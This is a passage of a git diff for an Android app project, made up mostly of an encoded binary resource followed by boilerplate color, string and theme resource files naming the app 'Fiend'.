z{prSe<>~099F8vsYd2xff7uAS%7{S)f(|@me3t2$iy&NEc7OUEchp@9A|X;;IA>8!oX+y(BKJ$EzV* znR$z;!L$s7uy@{OT~nG#B!NRraT8(X##Ho!0r_o@gg0CA-9H^;-uE&?$2$nHv_00o z%cbuUc-tCx$Uh&EZ4Nf4Zgqv)Y6>usG3>GeQnxx_Z6+PcbX-+ysbt1hQ`K1LDpOE? zrAhIZhSN9yVIAOa22gn577tbc&i3|3V8NWy&!tw##`}9*x}gtI^h1DzZRA>UuaJG) zaZ7j)dq!O}{?#8Y7~7i6fHh4{`pL?>-18|p!S75Y#^DM>-S3)vuZG+Q7l@ek zQP~#cBpWgg#mApc_sPYjpw8odQuRokmTkzcNl`^CcKB7e&;zViV;{Y{o^Y$%7i0m# z62%#1Lq!RC?}lK>%mp}T!3Xv;L*0v*>USLm``N%>w>@fwC+#T&Tx2bN4w(20JB}oU zuSa6v^kXi0xPs?pbaOHnyiqq6By1EZY9OZ^^QA>{q-Hsd&m`pbQ%8121aWG-F5xf zlZ%;B{;C>X19|`^_?dVyCq>n+41w7|!tUS!{9rHlbhX=SZO5CQ^;!Du_E7*`GiR^Q w)2!4MKjfSAeNo!9>IaV6aUZ*?W>} zs4%E?srLW`CJh0GCIK@hTkrW7A15Iu%N&?Q^$0+!{Tv&|t^Y@u%!L zglTg&?Q5q#ijZ;&HBQ?FNPp;k3J5!&{^+SGq?AX~SiOM9jJMRpyP?RCr@z38AQyy&WRMaC;n4una$~nJKSp?q|s8F00c9?Q! zY_ovvjTFm+DeQM^LXJ#v0}6HRt3R1%5PT*}W!k8BEM;Jrj8dIceFo2fhzTqaB3KKk zGlCLI)gU25(#u6ch6GeB1k@eHq7l{EHXv0n6xE#ws#ri}08kkCf8hUt{|Ejb`2YW* zvg}0nSSX1m=76s?sZhRY$K=3dpJ+y*eDULGnL2}4>4nvW^7_<~wIM_5fjvwt4h1|g z)g0Z6ZFq9j<~9~b8((~TN{Z?ZQfw|is&Xp~AC61sj;xItKyCHdI|tCMC_LbXF>~vR z=w6V3^H=W4CbAgR4#xw}ETTwu2guW~=Crl@SMXv85jQ=%y!s^?m4PI0My7MWICO;- z175jm%&PcPWh8QdOU(#8bp4!N7ET-+)N}N2zk2)8ch|4Q&lPFNQgT-thu053`r*h3 z_8dI@G;`zn;lH$zX3RzIk`E8~`J=BBdR}qD%n@vVG1834)!pS1Y?zVkJGtsa(sB~y zNfMYKsOJb%5J(0ivK8d+l2D2y&5X!cg3BG!AJ}910|_${nF}sC1QF^nLIhzXk-Y#x z0)&1iK!O;Og0Ky!;`b~v%b$`S4E&fB)1NB4v@8wr( z&+NX4e^&o)ecb=)dd~C!{(1e6t?&9j{l8%U*k4)?`(L3;Qjw z#w7FS+U(94MaJKS!J9O8^$)36_J8;thW#2$y9i{bB{?M{QS_inZIJ!jwqAbfXYVd$ zQ5fC$6Nc9hFi8m^;oI-%C#BS|c8vy+@{jx6hFcf^_;2VRgkoN(0h!_VSGmgNPRsxI z8$rTo0LaYq-H5i&gtj81=&xU?H-Y2==G@uQV7E`@+2E9XQW@{&j`?EOktk|Ho{HU>ZqDzvgjwBmdex z&uZNd2C1h{{}2k6Ys9$*nFP3;K%u!MhW`uZy7Sn`1M1zs@Es&;z*Z>Gsh@-3Fe6pE zQD2@cqF((NrRevgvLsvM_8;;iNyJ5nyPyy?e!kvKjGj`6diRFBEe49Oa7wwkJFV7Z z$YT&DWloYu-H?3<0BKn9L&JYDT-SK~*6c5pi18P26$JESKRYj{T7Zk6KiRJcbvOO*{P56Q6s8msbeI3>|j>K9}Q9UBeq*inXKemCm`-<5|-$ZyN4u$(3 z&HcvqehFD%5Yrmykg-^d`=BSa8(i=>ZoC77^mWY{evp(km@aHqhUECBz76YiR+VYK zY_avFC~V3$=`6C4JhfHAQ@DZtUOwH`L;oYX6zK0-uI^?hS$ALfq}A7evR;ohJHij} zHSZdW?EKv9U1s4oD*<(0oQ*;MaQ6@cvGL zuHCPgm_NhVsgp^sfr*ia^Db}swo1?O(_Q2)y+S$CBm+g=9wCOUPbz(x)_GbaKa@A7 zuI&!ynLiZRT#V%_y_-D`0Z5lT*auoe{(U5NylTzFSJW()W-#F6*&A`LNO1bV#Y;QJ zSbLBnp|B^dtK|KIWC|No>JjWBWE@n7O)x{&^E(WMeMvp57#qA8m* zeTow*U@_86B#Fm*rxyYu5PRWaWHx8y> z*qmHEp(AMDl0v)ij(AY8fnH=~ZwwjVAbu*m5;xPfidh@ov6d8g zfJsi&!QyK53Es%sC39ts;54V68koALD4b|%tNHW0bIkZAJKa=W&FomJSEDT>W1xIX z1x%Z>AvNIsSPLcn3RTcHXb@KB?cuM)=x6fcIx>&(GxqZ8w3p#jJ(GVgc*`c0HG}dv zIop&Qim!K1NFwic%07KcjWgHBPUkq7f~lj;TPqVGTiT#cUeim>;nY`>h@a*S{qQex zQ`z62WK|Mj)Y{tfF{;T4P;c8$Q|KU?Joh zIkA^z%X7z|r>4aTh@|StTi!-r1D!g=zb#3d#{{&K3CqE$Iz-UH<%37c zRfkO`&uM%#AD3PHv`g5t0e^O%nVL0d{Xlx^EjEC3#skF@`zl-7PF^0oxW)1!C!JxR zWvuAHH?)61FKA1QeT*_sY7;_Id#!GmV4n`MO{~sv}VLSK` zXRw=Y=Clz*00B(5y^K;gCZMAzjT5+c3IC=)l(9VIDdatpxj3y89WwI|bH&$!ZEvp` zPR!T@#!(|KfI-w?!&+7$N3F6>tD{YO4Qg$d_`nNEdfVCha9vaPn0jI0`)`@*72hq! zpU5ND^P*RoEkbD5o#az(-g=Y)L>HH>Oc%}$ zT3Rs_ih0;4+Lv4Y;@Iv(;fUbQ=i-G(#>vghec~*j(I#r|5mqFiJBpzi&hzEcD{u$< zRsm0BVYn=pT;0>R(itW|*D&;O%bOc7et9ACaH#J>z3A1A~6fdP>pmbM%xzm4>|;c_?B+%sl;Qs2{t!60$^u zH1t@9^6>;?!FuusnISi$f5CL&;z?EqJN$FBuWDA#D5`cy_UvCFIVvf{c?4N0teh;d zET$7aVbj08KTQS!x?Nd1Is8q8qFzs}a=!@nJ;7FSfCY^T@D-gpw`w<6e#X3+;O}1h z$%I!M)0bg|EKUA04Qjn@+x{Rj8vt6Wn!R|3A92z}^$KfF5(#CWr4y#~re1CN4i4w0 z#GsypBR{xA3Er7sgAi(|}1-W?s~n$7?K|9WL8kpVfw-;#b9 z+mn;=ep!162U5R>_t}fOt~tE?s#m( zO-S$7>Ay6*hHdZ)7_oU915WYYCIX;hFI-U2EWYX!pllONr@Q--2o~`!isi6vTPLJ4@(|o=%NHYjo0_S&q*UQIROw@*N-By@PaQ&;YxFZ0aR zX&}LeOEz);#m~Hwm^VAY8DK}b$F4bo{jMN?d!lxKPhNklzr^Cd`0f4oJr^z=I|l`* zm8AHm*fPV`0=lF3Pnnp}&J0N1X@}-D94YvmUabFrLGSnTz7Mu^21F#O5tN#CuY9Vh zUZBH=ez%h*wkf0hBtXJh1SN3d+IF{gzT7lp)j}n?03lt;XSQRAh7qd&v;RwTYDuQ# zbI2*r<>?x-G0@hM{;%{VBD7nLKt~D`T~-HAt5;h%i0_=Ifs=yHma5dhJ+QMG?Ux(a z|E?1CMy1!~oA`FP!k~iG=t&5#>bVdz=peT8HMB6Y)#7PpETtNryT^+Rv3vpJaF^zP z{H}0-LyV9Fu21ID%wO9f1IKlFr1p4c{o-?03vyB-tr5duk^&L$;m_|f$vs`^Sl{j2 z95}oY{LlY+=ZS%J+tZoXCd0*sSU7w^gjovXn+g7uyra5{cU49@yHf#Z^Jl-$9cIfo z+AJuxH$VLb=#+uBbVmUjnx zxb1pZ@-O9=AIk4@S)m6fJ2?{HrNYwwnL3a45muuNjr;6$O`bGEM0T4A2_S$t=86*- zcO+0mywg*j#A4mU}enR_!cGmIYQ;qwfchWtFEXL)AK%*;=j znYne+hS4EMy3S)C*mZ1KI>!+)0V@9!N6H$Y}~MJ{rYuf zz^KljIWvFi-?#?V@LPR&c6Nn{!=XM z>}-h$S76;$H{E{Y%@^zlmOl^efBwa%UU+jJD9UVukQ3ti_kH-?H*RC0?M1W%FCvMB zM_+v6fk$6X2sx)-p~B3&Kl{nscK}pNLM*qjtpaf9>AU{-iPKQZR8yCg!TY}Qg*(;) z)gdvCcB%kppZc$VdvsK@)3l1{&DG!d_6OHOS`y=ITLEVu`unSKA2E%JD*DVX{LJ}K z9l>hMRDqxQh0lnpGHpVYneX}eA3Pt|2v%=q;rt)``R|#bDyB)OXY&vI_@|*}h}G?^ z@aZ4_!7cQPX`!fW_?{oT1NTwHs#l5L-0`E|y@48<3Q^HFf8=Idi zpJYD%1MkII!~|7I^WGo)IF=?{>ACnjJ_WUi39C}!Q{QnheVJqeKKqq5^o5CBde(g9 zvw$X6^jz_^E2$wSw4!q5*RG(C2_^XO$HBn_55vbl44OnTTRwRaePP0vo{K)U1#99& z<>rq7V&V(<&@I%MFoN5zrY}sz=(*-L&}1QQ*a%`u25h{cFj===17eB_uGuzG&byQ< zrm8BJZl4r_E$3k|Wo6FW0-6M7>qac5uFQsQcmkLWGfeH74S3Z_rJ!jgN++!@i=HW8 zkyjI(oPH-+-N#Qc^-mpNO`bc6r=2-<%&Wy5K1vfFJB(L_IkpS6fY^NmuL8qsgj>MD zn~BHH9WM~32_3vd=W&B)k7F9q%stJx+b_L_X-4zr^LVUMCmyCTA3sWtkvsmME?Xiy z?xOSfB=_$oY06~J-HcCq&)qcW{j;uP;?Dm}=hkq?zh&n!;m((-G-u_t|6x399Q;>A zgNpxoJNj{u|MFDH7Rhq@FCAl0dE|ddnl!oh9{Lq?@JDoR6L;C941IK`ISfdE$4S zE0AUQ8+2|Ncl_q5QkSp#AODp~(^mfP&%Au@@|TBQwoP`UU+V{6u8|)6ZA{~uKmQ*M zmrMTDU8S~8Eqi{^v0Ug&5Upcm#y7Z1(RbgZAG8jB$eRwCspQ)>5;U)oGZ&E5aeR*K z8Yt`Y0$G))Yd(Y3KH}tA4`-_QmNke5hU_|nq=xtyjwW(_o?itz>B>WM&^63bNdQ)k@-IgDHW*RW$Xo9#RzrTrCn7L2H{9Amq|qNg@#eZY=|P zCoI?2s+L)zsM%WX(NbVEY^`C>lFjIBYmJ6@DKJ0ZT4&F&WHW!dwa%QzOG!?jY_2(S zDcEzZbz*2Q!43|z))9yOP9X1Xt%DXzwY(3tl-TR=Qb_MbZYRrooh;dYYmS!U_as1(=YVB?Q_A|tNu5Ut&_q3jbfDM zoFxT^uEuH`nX3*sB%K?GuHUkweYReBwnHqh3P)~`+s3+Tj!rDA1e)8vuBv5J*IsxC zkd^~b(aGzArj08{>cnzOuy04C+C`}gb|Yz-1avxeWzev3NzcHbz_&4W@QCr$z3~w=8Ua- z`;vfG1~BP8CyLb=F7t1am~ph_#|O%$khSJ9%Vtcn)YmpgQxF?xM^_Vb+5fnpB^W0I`f%X8gb9#X{Q-yJG0{Z56aWeI&zPxnf5pdJA38bM`cYnS#x)% z`n1tFf$i)W-hGm(f9mde^=X@NcV_lFb=P`4&CI&H=IArijGwdCk&X@uQ$5xmj!~^? z#$ROCI)V-~t%L%GS#wo@U27ddR`4`3)WoB{R-4snfNrfee|kI8^bu#yDgYqOwas9# zmcb`3!kRJ`Cr=_tq)8aMt{aGtUZsqwVlj6DgCGre>AEt&x8H_in!x@uwgExIh|-mA zjdaC(29~CTVSaaF7HPbql&*9Uo8P@f)>LqCXclr}peS7_1BQ28u9PO8Eq1@`l3q9o zkfKCaO2?T?ZyA6loW<#9_c^O=m<&h}CA!ineAD@=(gbq`vyT|tiJ6#^B1$P;;qax` z55k&Q?wEh#87niLo*+n4L@65J(Nz~=Ya%7^(miLb(E>A3B@|Jjl;FU&D>o|9#7PJH z?|ago!o;WC^h=|T7PVBg(DAB}72cyUS zb(f>Bwbr!F1eTCO5fpj<{PqhY5>143p?~5ZA5H40);=@M#MYvrB6gqHbU_!GSY??i z%s=>-ciA4*zOOZHds0a(kWewZ4h(k8h(ua7HX)Au&mY~H8KY6(_cb$_&fA@QjIW-*heP3%$d!m5^AdnT}`12qA^c@!g3DOwZ5WwE2?)-yU z!)Vx#Mtxt?FzFTwK!77sy7)sMzUd->w4^bxtpM2j!b1pjgyk zGKwWGeb4)^zjy{9Es&PU1}gwg?|J#L$KJB7ett9@4M%-nGtIQr0>Fl@8-yh`-+1ed zS6r}(MeSvgSoFmH*_WPu@i?}!AB~2?;i&IxrkNg~cQ9Som98tcq)k^|eeER|Zl77t za-TVUc;DNvzVXJ%w52+#weN?+;i#{f#!Oc&z?81*N>^e~ltRS%ZI@lR{rs()HmqG! zx*}ZrI-EZ}ckJMiy>A^oofwDfC~IH)z8{VHKGT@#E5I(Ll&+MnMCl>~AV7+>Gi%mF zkU1QlKASdR0B80!YhP<$Ywi0?W2Ux45oPfxv9QolWzJPD^weBfvo4SONxP35106sAmh(e+vAs0GboFD@PvNs)jNPvarhW}0YliZEg{Gazv z+JDIpoojRVPr<*C|BTq<`6ga{5q^8^!|0cxe=rZ!zxH3%f5ZO0cQ*Z<^$Yt2{|Ek0 zyT|*F+CO@K;(owBKtGg!S^xj-Z~rga2m6nxKl9J=fBSuNKW_dLKWhJKeg^-Xe`^1? z`TyJj)8E!#>_3Y?uKrwqq3LJ#SGU>AzUO|6`nR^u&3FNN_jGOc zw)Nw`wr3yIKhgcee6IaN=ws>M{6677%)hPwx&HzC(f&u~&)6@b2kNRzBDQAP0*H73 zq%McOmRk{B3i47qRe=DA*$&odrbEJZ*pV9XXa&p@wlW~@Yfs>V{yiTtplMhgM*-Bz zsSnlq&pG;z0OUN%$~$3=g1UF+G*>+17eRbBf3=y79J}KR8owon@$1Z7MIrvvWWH)34nK2SD)GsrJ{l z1Cl#oVo3A8qY3e=aF)qzms~FG#2$LzT=gs&aVMOj>(%{y<&O0cG!nCiESl~x=^dF{ zKvj8F1K8Ng171wwM5Fh4KoQw`_c6#y$(5cAm7e}~nJ#A*fx+c9;y#&W!#VukR)ugk zKp3=+;Ut+IYn%m+r4d*<`L2h%aDnX5}^!5R|H;(34AoVWjRx(msBZvk;rCI*|~ zdOijqI@9Z{Vu!~jvHW{lBa$rnl4+!s_5sfK3bCGk-B%iDe&@-}+%fOKU|(9?V1 zHE8&@4z)Kx!RAvAs z!Wic9=o#(bg?kc-G68-m(jZ`^=XGUXb)}t(%&~sjFnV^sEX%hSy6UKC4iOhgV=BHV z2w`4g7Y=s#Vu2B_?#VQ|hP39@eArgfX>-0S+dd&^mx0*wp}>)x;c4RUgxz%;oNe?& z-7-lJ@Y^2^C;=qJsxx5|xF)*pTGhch2B&kxtn;f!7=gznk}I3}Dh}(CoMXgA5-p&kS202!l?!fT3t|HG*rIP~mS* z$Wjo}jq3}z$Qq!9yrtd3fM0N629ZM?LU$nv@Tv9b7I;D|;0H2dsA~g7Z7zp1| zB)XmrkMgF6OQr|R)HHD^TE{Y#j!~SR?b`Xt3Qs`B+x<hxexYeAjMUWdZ-*n9%(1)Wb(n2U<><7&9dwGJmrob)4%H? zlQ%z+L-^$dFhhH|@u$%97Qz?*Ynh2VG@q|?8vY&L74&fs&_b&3$x&Oyjl~LQDRRap zJU4U*R+(2Dd!G+lh8!V{pT_UJn+^1Qg6$` zqkNm(a#hWyc6SP+p5=C4HL8-m`pO`5o~`-LI?_h5CsH?F_%?nDodmz&pWR20WTpJE z?N|wSzLjMUK8E)a2tI}Lf;+;*M|h3Y(U#>)g1>zk9|Hd}oZAa2 zLYBWBoSW!Ts!RwXr^8h+U*@{9{zqS^iH)Op<;r`Uw~nc}<^$V~_i%$GFjaG?X1@E|M`h)nekvFKt`Dh-f>@|0-`Xoq)o` zx;JmzDfOV9qCx|EVpogEe0LK~tGS?5$$L_i6P$P6wIsCQaP_;d{{N=iV@+8LI}o#( zvo*Ejy=IIn{rdIQh1&q-{EuohpVOjJ^Q3lD*YTp37$^RRgn8ihpdu5{Ct%5-KO!VL zcNB6dUajXI9jkm-P|i3~GB-A(X`P1Oqqb$tcku)UJw0w3GeUijb__#QT4j%64z%EeB7S?jlWwx_7&+EEvB|6N=kV}DwnyAlX=?j`) zmU#!$*^@NIu#n_d7;WoJV@*Fbv9|yJO4;n|BNF2xy(54RyB>t~8lUOUW$&2%Nwi1y zx6JxW88>U2$#qhl^6KUbtmg9}D0o5vYDT7kWJthLGkpGnN4T>{St^_EU>4;DmLF9o zr|LqsA8_MoNLQ=}w?8u!ziSZ@PC#Y<#9uJFo-ozVo6D;<8j^1$c|qAE3ZTE5i~zmE z$BU5lw6l=EWsg^y^;8>r9qH{xfL|~PZYK#md$zZ0?o11gV<*WSW~cgy2GYGQir%wf zt4iW8D+;s*;RGrmd(-T<@2&j(Cb9xhV*l-x`TpK`xq|7p?5R%5*s!69?2c!cC*VY* z2DE^9pvOPLU!1e}wA8S8opcTJ3`NB>hY=JQnL~QFXR4K8A$BqJnoEB$wn-%u@E6Mh zCfMF4kusv3N!(aHC}4)Xs^xoOwXd%e^6pi5|DZo=Q25j+6HlJ^7FodH6y1bMROR^q zGu6)fopS`h%Sw<;ZH%TEPf+#81-#_v+@8nlR0jLcIDKQtLleOC)6yLZgC!D9X3GgS zohwU{v$jl=quD#Go^hB{`@Qw*a%`(^jyT~=q^bWgGzRj;|12J55HWdCWV}EB|K=%N z3Nq-qxJJ`>^|1MNN+q}zTB&ooE3j==AgK@^UW<^oSbeALa2peF)Th6{@sj0KyMNHZ zksk1+MXN2tv+22A%cQOGpS9)77(uP9mh+!5T5ERLvF@b}$+WvXM45Z?-kCa)fb~f1 znVbTD$Gx-0Zxc`0D@YgHakge6SL0H`-vN_x?AP0>iGH0_EE&=v83hMJgaKAI0jJXm zVxVz;X<$v6WW7}fxROO7vr#YLP;;lij5VrX{;>7kK6TtOH&6|Ar^xo>00%+u$C4@# z>!jOt6*3><171+WxoZnKDTzJtDRw+T030;yI}~uV@9fCnei^I*j>Bp&mzP2d=FPb_ zCM*l_+$LDR3B*a!A$g#>xsrZvw0lckxmMg>0aQd7tPyN=t{dgXb;Ie+T8{fZH=gdu zM7Rg9c(kg(Jg0?ARRRl=AONFKrvFj)lTY$KfT%6^6s`mk*ABGhsce*LsoD>K{z_M2 ziPpnu+lw22PfF!CoId^6n*G4H(Ix+#+N{C(da7t1BYMGEaE#PdpOLxsVD5riQXHp@OX;`S`8VnpM~)I920w~<3|mo0 zf8~Az`*?2?H&gZ&*K&bRkV@qzvMlRHXys8*Ze2+1c?5o!^+$&MHxB@4Ee5cke52R! zmn7AZtY6ST%ixgU5)%$%QcwHj7Es-Qu^kLAPwy%7pGBw_4Q9#da^W2$}axNHr03)_nw z5?yuNmXrI5HgS46)c5&}B)Tts49oU92>3xBLLy}FMUW=84DQbVq^;7_e7|(Sdz|&J z73N+M`rc2rt*oSWu#7S{*s~nH6HRHJS1SmzeXk|;CA)FI4bat3<%}nkB%;;?=F>B7ms9QSxv#@+69;@>QaR?REYX4&)=itG>rM{<{A79Rmk)`5ON#GL`*KX%}Ihk3w(RtM-WLt z?f&FLF}4N^yE!(pZ&Yj&Bc`~K0@4_}*0Om?wN|}4WJ>WL;G^H2*QpgEkGA~OET-Km zkwz|5{6dnz1U<2Pe9DNL>3g5FEIvp1jzP&2K#z~j%g6!7B;^zF+o95?fV{3mnB8*RMhCDNp>Am-3e@jNfMj?jHV$MWjk!DDKP zkAz$Y?Sr)!GUOX}qTQ5aMh|wq1uq}~joWyKl=b_LboM#wi{CMuz5x6BKlA-qy++cM01D3b7`uD z#l6M4pI;JCypO8JZ6?U&wNxR!{4oB_ zlV!x9+-&Qy6{%MQ{~yoZGkKiTSC`YS_j22~G;xUV855g2&C(zm^V!(wpcm@zn{%!g z4}JGo(sGZ1O~to-}le

UmY2RIYtNPVDpE$%vda+HD#3m z&VuXJ{BK&Qe+rBa7eq}Q(bq|tn(RrJAk|ztj2(i{d>nmQnM?;HF2k&9sA6up5tmjl z7lySlzMbifH17-m-Lwa_F&e7nOH?ESi3#ckR3tsM+jsck3`oG!uMS}|eAwVXv>}qxwq?QY%QJ0}r@^;fhuUA9W z*BVl>TGo&N004@xSiwDUXUvp51sVmqO3m)=B55aPwf@0=e}cN+$-BdKxY`YrT_4)0 z_d10#i44Q*rFr8MC>*)v$EJvz``(pb{e&*6k+b zsMz%($|1+8hn8c2?P(l@;Rb&CsZeYoCI3?2!LqjbwPXW3z4G$Qfj=cT5Yb%vY0(AX oeb?AaKtwrnc|$|zzw9vfvn^aJJ!zd)XFXqqy0000001=f@-~a#s literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/values/colors.xml b/source code/apk src code v3/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..f8c6127 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/values/colors.xml @@ -0,0 +1,10 @@ + + + #FFBB86FC + #FF6200EE + #FF3700B3 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/values/strings.xml b/source code/apk src code v3/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..58866ec --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + Fiend + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/values/themes.xml b/source code/apk src code v3/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..4d91442 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/values/themes.xml @@ -0,0 +1,5 @@ + + + +